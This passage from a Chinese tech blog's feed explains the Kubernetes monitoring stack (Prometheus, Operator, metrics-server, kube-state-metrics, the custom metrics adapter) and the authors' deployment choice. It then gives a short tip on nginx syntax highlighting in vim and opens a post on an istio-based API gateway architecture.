&lt;li&gt;Prometheus Daemon 负责定时去目标上抓取 metrics（指标）数据，每个抓取目标需要暴露一个 http 服务的接口给它定时抓取。Prometheus 支持通过配置文件、文本文件、Zookeeper、Consul、DNS SRV Lookup 等方式指定抓取目标。Prometheus 采用 PULL 的方式进行监控，即服务器可以直接通过目标 PULL 数据或者间接地通过中间网关来 Push 数据。&lt;/li&gt;
&lt;li&gt;Prometheus 在本地存储抓取的所有数据，并通过一定规则进行清理和整理数据，并把得到的结果存储到新的时间序列中。&lt;/li&gt;
&lt;li&gt;Prometheus 通过 PromQL 和其他 API 可视化地展示收集的数据。Prometheus 支持很多方式的图表可视化，例如 Grafana、自带的 Promdash 以及自身提供的模版引擎等等。Prometheus 还提供 HTTP API 的查询方式，自定义所需要的输出。&lt;/li&gt;
&lt;li&gt;PushGateway 支持 Client 主动推送 metrics 到 PushGateway，而 Prometheus 只是定时去 Gateway 上抓取数据。&lt;/li&gt;
&lt;li&gt;Alertmanager 是独立于 Prometheus 的一个组件，可以支持 Prometheus 的查询语句，提供十分灵活的报警方式。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="operator"&gt;&lt;a href="#operator" class="header-anchor"&gt;&lt;/a&gt;Operator
&lt;/h3&gt;&lt;p&gt;Operator 是 CoreOS 推出的旨在简化复杂有状态应用管理的框架，它是一个感知应用状态的控制器，通过扩展 Kubernetes API 来自动创建、管理和配置应用实例。&lt;/p&gt;
&lt;p&gt;Operator 基于 CustomResourceDefinition(CRD) 扩展了新的应用资源，并通过控制器来保证应用处于预期状态。比如 etcd operator 通过下面的三个步骤模拟了管理 etcd 集群的行为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过 Kubernetes API 观察集群的当前状态；&lt;/li&gt;
&lt;li&gt;分析当前状态与期望状态的差别；&lt;/li&gt;
&lt;li&gt;调用 etcd 集群管理 API 或 Kubernetes API 消除这些差别。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/005-15eafb88.jpg"&gt;&lt;/p&gt;
&lt;h3 id="prometheus-operator"&gt;&lt;a href="#prometheus-operator" class="header-anchor"&gt;&lt;/a&gt;Prometheus Operator
&lt;/h3&gt;&lt;p&gt;为了在 Kubernetes 能够方便的管理和部署 Prometheus，我们使用 ConfigMap 了管理 Prometheus 配置文件。每次对 Prometheus 配置文件进行升级时，我们需要手动移除已经运行的 Pod 实例，从而让 Kubernetes 可以使用最新的配置文件创建 Prometheus。而如果当应用实例的数量更多时，通过手动的方式部署和升级 Prometheus 过程繁琐并且效率低下。&lt;/p&gt;
&lt;p&gt;从本质上来讲 Prometheus 属于是典型的有状态应用，而其又包含了一些自身特有的运维管理和配置管理方式。而这些都无法通过 Kubernetes 原生提供的应用管理概念实现自动化。为了简化这类应用程序的管理复杂度，CoreOS 率先引入了 Operator 的概念，并且首先推出了针对在 Kubernetes 下运行和管理 Etcd 的 Etcd Operator。并随后推出了 Prometheus Operator。&lt;/p&gt;
&lt;p&gt;从概念上来讲 Operator 就是针对管理特定应用程序的，在 Kubernetes 基本的 Resource 和 Controller 的概念上，以扩展 Kubernetes api 的形式。帮助用户创建，配置和管理复杂的有状态应用程序。从而实现特定应用程序的常见操作以及运维自动化。&lt;/p&gt;
&lt;p&gt;在 Kubernetes 中我们使用 Deployment、DamenSet，StatefulSet 来管理应用 Workload，使用 Service，Ingress 来管理应用的访问方式，使用 ConfigMap 和 Secret 来管理应用配置。我们在集群中对这些资源的创建，更新，删除的动作都会被转换为事件 (Event)，Kubernetes 的 Controller Manager 负责监听这些事件并触发相应的任务来满足用户的期望。这种方式我们成为声明式，用户只需要关心应用程序的最终状态，其它的都通过 Kubernetes 来帮助我们完成，通过这种方式可以大大简化应用的配置管理复杂度。&lt;/p&gt;
&lt;p&gt;而除了这些原生的 Resource 资源以外，Kubernetes 还允许用户添加自己的自定义资源 (Custom Resource)。并且通过实现自定义 Controller 来实现对 Kubernetes 的扩展。&lt;/p&gt;
&lt;p&gt;如下所示，是 Prometheus Operator 的架构示意图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/006-69c36f88.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Prometheus 的本职就是一组用户自定义的 CRD 资源以及 Controller 的实现，Prometheus Operator 负责监听这些自定义资源的变化，并且根据这些资源的定义自动化的完成如 Prometheus Server 自身以及配置的自动化管理工作。&lt;/p&gt;
&lt;p&gt;简言之，Prometheus Operator 能够帮助用户自动化的创建以及管理 Prometheus Server 以及其相应的配置。&lt;/p&gt;
&lt;h3 id="hpa"&gt;&lt;a href="#hpa" class="header-anchor"&gt;&lt;/a&gt;HPA
&lt;/h3&gt;&lt;p&gt;Horizontal Pod Autoscaler ，K8S 中的一个概念，可以自动调整 Pod 的数量，以达到指定的目标值。&lt;/p&gt;
&lt;p&gt;Pod 水平自动扩缩（Horizontal Pod Autoscaler） 可以基于 CPU 利用率自动扩缩 ReplicationController、Deployment、ReplicaSet 和 StatefulSet 中的 Pod 数量。除了 CPU 利用率，也可以基于其他应程序提供的 &lt;code&gt;自定义度量指标&lt;/code&gt;来执行自动扩缩。Pod 自动扩缩不适用于无法扩缩的对象，比如 DaemonSet。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/007-8dbad0a8.jpg"&gt;&lt;/p&gt;
&lt;h3 id="heapster"&gt;&lt;a href="#heapster" class="header-anchor"&gt;&lt;/a&gt;Heapster
&lt;/h3&gt;&lt;p&gt;Heapster 是容器集群监控和性能分析工具，天然的支持 Kubernetes 和 CoreOS。&lt;/p&gt;
&lt;p&gt;Heapster 首先从 K8S Master 获取集群中所有 Node 的信息，然后通过这些 Node 上的 kubelet 获取有用数据，而 kubelet 本身的数据则是从 cAdvisor 得到。所有获取到的数据都被推到 Heapster 配置的后端存储中，并还支持数据的可视化。现在后端存储 + 可视化的方法，如 InfluxDB + grafana。&lt;/p&gt;
&lt;p&gt;Heapster 可以收集 Node 节点上的 cAdvisor 数据，还可以按照 kubernetes 的资源类型来集合资源，比如 Pod、Namespace 域，可以分别获取它们的 CPU、内存、网络和磁盘的 metric。默认的 metric 数据聚合时间间隔是 1 分钟。&lt;/p&gt;
&lt;p&gt;注意 ：Kubernetes 1.11 不建议使用 Heapster，就 SIG Instrumentation 而言，这是为了转向新的 Kubernetes 监控模型的持续努力的一部分。仍使用 Heapster 进行自动扩展的集群应迁移到 metrics-server 和自定义指标 API。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/008-cd80d35d.jpg"&gt;&lt;/p&gt;
&lt;h3 id="metrics-server"&gt;&lt;a href="#metrics-server" class="header-anchor"&gt;&lt;/a&gt;Metrics Server
&lt;/h3&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/009-f72ed8af.jpg"&gt;&lt;/p&gt;
&lt;p&gt;kubernetes 集群资源监控之前可以通过 &lt;code&gt;heapster&lt;/code&gt; 来获取数据，在 &lt;code&gt;1.11&lt;/code&gt; 开始开始逐渐废弃 &lt;code&gt;heapster&lt;/code&gt; 了，采用 &lt;code&gt;metrics-server&lt;/code&gt; 来代替，&lt;code&gt;metrics-server&lt;/code&gt; 是集群的核心监控数据的聚合器，它从 kubelet 公开的 Summary API 中采集指标信息，&lt;code&gt;metrics-server&lt;/code&gt; 是扩展的 APIServer，依赖于 kube-aggregator，因为我们需要在 APIServer 中开启相关参数。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Metrics Server&lt;/code&gt; 并不是 kube-apiserver 的一部分，而是通过 Aggregator 这种插件机制，在独立部署的情况下同 kube-apiserver 一起统一对外服务的。&lt;/p&gt;
&lt;p&gt;Aggregator&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;“&lt;/p&gt;
&lt;p&gt;通过聚合层扩展 Kubernetes API使用聚合层（Aggregation Layer），用户可以通过额外的 API 扩展 Kubernetes， 而不局限于 Kubernetes 核心 API 提供的功能。这里的附加 API 可以是现成的解决方案比如 metrics server, 或者你自己开发的 API。聚合层不同于 定制资源（Custom Resources）。后者的目的是让 kube-apiserver 能够认识新的对象类别（Kind）。&lt;/p&gt;
&lt;p&gt;”&lt;/p&gt;

 &lt;/blockquote&gt;

 &lt;blockquote&gt;
 &lt;p&gt;“&lt;/p&gt;
&lt;p&gt;聚合层聚合层在 kube-apiserver 进程内运行。在扩展资源注册之前，聚合层不做任何事情。要注册 API，用户必须添加一个 APIService 对象，用它来“申领” Kubernetes API 中的 URL 路径。自此以后，聚合层将会把发给该 API 路径的所有内容（例如 /apis/myextension.mycompany.io/v1/…） 转发到已注册的 APIService。&lt;/p&gt;
&lt;p&gt;”&lt;/p&gt;

 &lt;/blockquote&gt;

 &lt;blockquote&gt;
 &lt;p&gt;“&lt;/p&gt;
&lt;p&gt;APIService 的最常见实现方式是在集群中某 Pod 内运行 扩展 API 服务器。如果你在使用扩展 API 服务器来管理集群中的资源，该扩展 API 服务器（也被写成“extension-apiserver”） 一般需要和一个或多个控制器一起使用。apiserver-builder 库同时提供构造扩展 API 服务器和控制器框架代码。&lt;/p&gt;
&lt;p&gt;”&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;这里，Aggregator APIServer 的工作原理，可以用如下所示的一幅示意图来表示清楚 ：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/010-8e03d754.jpg"&gt;&lt;/p&gt;
&lt;p&gt;因为 k8s 的 api-server 将所有的数据持久化到了 etcd 中，显然 k8s 本身不能处理这种频率的采集，而且这种监控数据变化快且都是临时数据，因此需要有一个组件单独处理他们，于是 metric-server 的概念诞生了。&lt;/p&gt;
&lt;p&gt;Metrics server 出现后，新的 Kubernetes 监控架构将变成下图的样子&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心流程（黑色部分）：这是 Kubernetes 正常工作所需要的核心度量，从 Kubelet、cAdvisor 等获取度量数据，再由 metrics-server 提供给 Dashboard、HPA 控制器等使用。&lt;/li&gt;
&lt;li&gt;监控流程（蓝色部分）：基于核心度量构建的监控流程，比如 Prometheus 可以从 metrics-server 获取核心度量，从其他数据源（如 Node Exporter 等）获取非核心度量，再基于它们构建监控告警系统。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/011-c53d6287.jpg"&gt;&lt;/p&gt;
&lt;p&gt;注意：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;metrics-sevrer 的数据存在内存中。&lt;/li&gt;
&lt;li&gt;metrics-server 主要针对 node、pod 等的 cpu、网络、内存等系统指标的监控&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="kube-state-metrics"&gt;&lt;a href="#kube-state-metrics" class="header-anchor"&gt;&lt;/a&gt;kube-state-metrics
&lt;/h3&gt;&lt;p&gt;已经有了 cadvisor、heapster、metric-server，几乎容器运行的所有指标都能拿到，但是下面这种情况却无能为力：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我调度了多少个 replicas？现在可用的有几个？&lt;/li&gt;
&lt;li&gt;多少个 Pod 是 running/stopped/terminated 状态？&lt;/li&gt;
&lt;li&gt;Pod 重启了多少次？&lt;/li&gt;
&lt;li&gt;我有多少 job 在运行中&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而这些则是 kube-state-metrics 提供的内容，它基于 client-go 开发，轮询 Kubernetes API，并将 Kubernetes 的结构化信息转换为 metrics。&lt;/p&gt;
&lt;p&gt;kube-state-metrics 与 metrics-server 对比&lt;/p&gt;
&lt;p&gt;我们服务在运行过程中，我们想了解服务运行状态，pod 有没有重启，伸缩有没有成功，pod 的状态是怎么样的等，这时就需要 kube-state-metrics，它主要关注 deployment,、node 、 pod 等内部对象的状态。而 metrics-server 主要用于监测 node，pod 等的 CPU，内存，网络等系统指标。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;metric-server（或 heapster）是从 api-server 中获取 cpu、内存使用率这种监控指标，并把他们发送给存储后端，如 influxdb 或云厂商，他当前的核心作用是：为 HPA 等组件提供决策指标支持。&lt;/li&gt;
&lt;li&gt;kube-state-metrics 关注于获取 k8s 各种资源的最新状态，如 deployment 或者 daemonset，之所以没有把 kube-state-metrics 纳入到 metric-server 的能力中，是因为他们的关注点本质上是不一样的。metric-server 仅仅是获取、格式化现有数据，写入特定的存储，实质上是一个监控系统。而 kube-state-metrics 是将 k8s 的运行状况在内存中做了个快照，并且获取新的指标，但他没有能力导出这些指标&lt;/li&gt;
&lt;li&gt;换个角度讲，kube-state-metrics 本身是 metric-server 的一种数据来源，虽然现在没有这么做。&lt;/li&gt;
&lt;li&gt;另外，像 Prometheus 这种监控系统，并不会去用 metric-server 中的数据，他都是自己做指标收集、集成的（Prometheus 包含了 metric-server 的能力），但 Prometheus 可以监控 metric-server 本身组件的监控状态并适时报警，这里的监控就可以通过 kube-state-metrics 来实现，如 metric-serverpod 的运行状态。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/012-0394707a.jpg"&gt;&lt;/p&gt;
&lt;h3 id="custom-metrics-apiserver"&gt;&lt;a href="#custom-metrics-apiserver" class="header-anchor"&gt;&lt;/a&gt;custom-metrics-apiserver
&lt;/h3&gt;&lt;p&gt;kubernetes 的监控指标分为两种&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Core metrics（核心指标）：从 Kubelet、cAdvisor 等获取度量数据，再由 metrics-server 提供给 Dashboard、HPA 控制器等使用。&lt;/li&gt;
&lt;li&gt;Custom Metrics（自定义指标）：由 Prometheus Adapter 提供 API custom.metrics.k8s.io，由此可支持任意 Prometheus 采集到的指标。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以下是官方 metrics 的项目介绍：&lt;/p&gt;
&lt;p&gt;Resource Metrics API（核心 api）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Heapster&lt;/li&gt;
&lt;li&gt;Metrics Server&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Custom Metrics API：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prometheus Adapter&lt;/li&gt;
&lt;li&gt;Microsoft Azure Adapter&lt;/li&gt;
&lt;li&gt;Google Stackdriver&lt;/li&gt;
&lt;li&gt;Datadog Cluster Agent&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;核心指标只包含 node 和 pod 的 cpu、内存等，一般来说，核心指标作 HPA 已经足够，但如果想根据自定义指标：如请求 qps/5xx 错误数来实现 HPA，就需要使用自定义指标了，目前 Kubernetes 中自定义指标一般由 Prometheus 来提供，再利用 &lt;code&gt;k8s-prometheus-adpater&lt;/code&gt; 聚合到 apiserver，实现和核心指标（metric-server) 同样的效果。&lt;/p&gt;
&lt;p&gt;HPA 请求 metrics 时，kube-aggregator(apiservice 的 controller) 会将请求转发到 adapter，adapter 作为 kubernentes 集群的 pod，实现了 Kubernetes resource metrics API 和 custom metrics API，它会根据配置的 rules 从 Prometheus 抓取并处理 metrics，在处理（如重命名 metrics 等）完后将 metric 通过 custom metrics API 返回给 HPA。最后 HPA 通过获取的 metrics 的 value 对 Deployment/ReplicaSet 进行扩缩容。&lt;/p&gt;
&lt;p&gt;adapter 作为 extension-apiserver（即自己实现的 pod)，充当了代理 kube-apiserver 请求 Prometheus 的功能。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/013-bee9d39d.jpg"&gt;&lt;/p&gt;
&lt;p&gt;其实 k8s-prometheus-adapter 既包含自定义指标，又包含核心指标，即如果安装了 prometheus，且指标都采集完整，k8s-prometheus-adapter 可以替代 metrics server。&lt;/p&gt;
&lt;h2 id="prometheus-部署方案"&gt;&lt;a href="#prometheus-%e9%83%a8%e7%bd%b2%e6%96%b9%e6%a1%88" class="header-anchor"&gt;&lt;/a&gt;Prometheus 部署方案
&lt;/h2&gt;&lt;p&gt;prometheus operator&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/prometheus-operator/prometheus-operator" target="_blank" rel="noopener"
 &gt;https://github.com/prometheus-operator/prometheus-operator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;kube-prometheus&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/prometheus-operator/kube-prometheus" target="_blank" rel="noopener"
 &gt;https://github.com/prometheus-operator/kube-prometheus&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在集群外部署&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://www.qikqiak.com/post/monitor-external-k8s-on-prometheus/" target="_blank" rel="noopener"
 &gt;https://www.qikqiak.com/post/monitor-external-k8s-on-prometheus/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;kube-prometheus 既包含了 Operator，又包含了 Prometheus 相关组件的部署及常用的 Prometheus 自定义监控，具体包含下面的组件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Prometheus Operator：创建 CRD 自定义的资源对象&lt;/li&gt;
&lt;li&gt;Highly available Prometheus：创建高可用的 Prometheus&lt;/li&gt;
&lt;li&gt;Highly available Alertmanager：创建高可用的告警组件&lt;/li&gt;
&lt;li&gt;Prometheus node-exporter：创建主机的监控组件&lt;/li&gt;
&lt;li&gt;Prometheus Adapter for Kubernetes Metrics APIs：创建自定义监控的指标工具（例如可以通过 nginx 的 request 来进行应用的自动伸缩）&lt;/li&gt;
&lt;li&gt;kube-state-metrics：监控 k8s 相关资源对象的状态指标&lt;/li&gt;
&lt;li&gt;Grafana：进行图像展示&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="我们的做法"&gt;&lt;a href="#%e6%88%91%e4%bb%ac%e7%9a%84%e5%81%9a%e6%b3%95" class="header-anchor"&gt;&lt;/a&gt;我们的做法
&lt;/h2&gt;&lt;p&gt;我们的做法，其实跟 kube-prometheus 的思路差不多，只不过我们没有用 Operator ，是自己将以下这些组件的 yaml 文件用 helm 组织了起来而已：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;kube-state-metrics&lt;/li&gt;
&lt;li&gt;prometheus&lt;/li&gt;
&lt;li&gt;alertmanager&lt;/li&gt;
&lt;li&gt;grafana&lt;/li&gt;
&lt;li&gt;k8s-prometheus-adapter&lt;/li&gt;
&lt;li&gt;node-exporter&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然 kube-prometheus 也有 helm charts 由 prometheus 社区提供：https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack&lt;/p&gt;
&lt;p&gt;这么干的原因是：这样的灵活度是最高的，虽然在第一次初始化创建这些脚本的时候麻烦了些。不过还有一个原因是我们当时部署整个基于 prometheus 的监控体系时，kube-prometheus 这个项目还在早期，没有引起我们的关注。如果在 2021 年年初或 2020 年年底的时候创建的话，可能就会直接上了。&lt;/p&gt;
&lt;h2 id="参考"&gt;&lt;a href="#%e5%8f%82%e8%80%83" class="header-anchor"&gt;&lt;/a&gt;参考
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.opskumu.com/cadvisor.html" target="_blank" rel="noopener"
 &gt;https://blog.opskumu.com/cadvisor.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://prometheus.io/" target="_blank" rel="noopener"
 &gt;https://prometheus.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://kubernetes.io/zh/docs/tasks/run-application/horizontal-pod-autoscale/" target="_blank" rel="noopener"
 &gt;https://kubernetes.io/zh/docs/tasks/run-application/horizontal-pod-autoscale/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.cnblogs.com/chenqionghe/p/10494868.html" target="_blank" rel="noopener"
 &gt;https://www.cnblogs.com/chenqionghe/p/10494868.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.qikqiak.com/post/k8s-operator-101/" target="_blank" rel="noopener"
 &gt;https://www.qikqiak.com/post/k8s-operator-101/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://kubernetes.io/zh/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/" target="_blank" rel="noopener"
 &gt;https://kubernetes.io/zh/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://segmentfault.com/a/1190000017875641" target="_blank" rel="noopener"
 &gt;https://segmentfault.com/a/1190000017875641&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://segmentfault.com/a/1190000038888544" target="_blank" rel="noopener"
 &gt;https://segmentfault.com/a/1190000038888544&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://yasongxu.gitbook.io/" target="_blank" rel="noopener"
 &gt;https://yasongxu.gitbook.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/p4FAFKHi8we4mrD7OIk7IQ" target="_blank" rel="noopener"
 &gt;https://mp.weixin.qq.com/s/p4FAFKHi8we4mrD7OIk7IQ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://kubernetes.feisky.xyz/apps/index/operator" target="_blank" rel="noopener"
 &gt;https://kubernetes.feisky.xyz/apps/index/operator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://yunlzheng.gitbook.io/prometheus-book/part-iii-prometheus-shi-zhan/operator/what-is-prometheus-operator" target="_blank" rel="noopener"
 &gt;https://yunlzheng.gitbook.io/prometheus-book/part-iii-prometheus-shi-zhan/operator/what-is-prometheus-operator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>vim 配置 nginx 语法高亮</title><link>https://xiaobox.github.io/p/2021-09-06-vim-pei-zhi-nginx-yu-fa-gao-liang/</link><pubDate>Mon, 06 Sep 2021 07:33:47 +0000</pubDate><guid>https://xiaobox.github.io/p/2021-09-06-vim-pei-zhi-nginx-yu-fa-gao-liang/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-06-vim-pei-zhi-nginx-yu-fa-gao-liang/cover.jpg" alt="Featured image of post vim 配置 nginx 语法高亮" /&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;当你使用 vim 编辑器编辑 nginx 的配置文件时，vim 编辑器是无法自动识别出 nginx 的相关语法的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;所以，使用 vim 编辑器编辑 nginx 配置文件时，无法实现”语法高亮”功能，也就是说，默认情况下，使用 vim 编辑 nginx 配置文件时，没有彩色的语法着色。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于使用者来说，这样体验不好，nginx 官方很贴心，在源码包中为我们提供了 vim 针对 nginx 的语法高亮配置文件，我们只要把这些文件拷贝到 vim 的对应目录中即可直接使用，方法很简单&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# wget http://nginx.org/download/nginx-1.14.2.tar.gz&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# tar -xf nginx-1.14.2.tar.gz&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;进入到源码包解压目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# cd nginx-1.14.2/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;将相应的语法文件拷贝到对应的目录中，即可完成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# cp -r contrib/vim/* /usr/share/vim/vimfiles/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-06-vim-pei-zhi-nginx-yu-fa-gao-liang/001-b77bd5fb.jpg"&gt;&lt;/p&gt;
&lt;p&gt;参考：https://www.zsythink.net/archives/3091&lt;/p&gt;</description></item><item><title>上了 istio 的贼船之 API Gateway</title><link>https://xiaobox.github.io/p/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/</link><pubDate>Mon, 21 Jun 2021 05:02:18 +0000</pubDate><guid>https://xiaobox.github.io/p/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/cover.jpg" alt="Featured image of post 上了 istio 的贼船之 API Gateway" /&gt;&lt;h1 id="上了-istio-的贼船之-api-gateway"&gt;&lt;a href="#%e4%b8%8a%e4%ba%86-istio-%e7%9a%84%e8%b4%bc%e8%88%b9%e4%b9%8b-api-gateway" class="header-anchor"&gt;&lt;/a&gt;上了 istio 的贼船之 API Gateway
&lt;/h1&gt;&lt;h2 id="现状"&gt;&lt;a href="#%e7%8e%b0%e7%8a%b6" class="header-anchor"&gt;&lt;/a&gt;现状
&lt;/h2&gt;&lt;p&gt;下图是我们系统的架构现状，大致介绍一下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基础设施在华为云上&lt;/li&gt;
&lt;li&gt;基本上是基于 &lt;code&gt;istio on k8s&lt;/code&gt; 架构。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;istio&lt;/code&gt; 版本为 1.3，所以组件较多（&lt;code&gt;galley、pilot、citadel、telemetry&lt;/code&gt;&amp;hellip;&amp;hellip;）&lt;/li&gt;
&lt;li&gt;微服务后端用 &lt;code&gt;spring boot&lt;/code&gt; 单体，前端有 &lt;code&gt;nodejs、vue&lt;/code&gt;等&lt;/li&gt;
&lt;li&gt;应用的链路监控主要基于 &lt;code&gt;skywalking&lt;/code&gt;, &lt;code&gt;istio&lt;/code&gt; 的通讯层面利用 &lt;code&gt;kiali&lt;/code&gt;可视化调用链&lt;/li&gt;
&lt;li&gt;其他比较传统&lt;/li&gt;
&lt;/ul&gt;
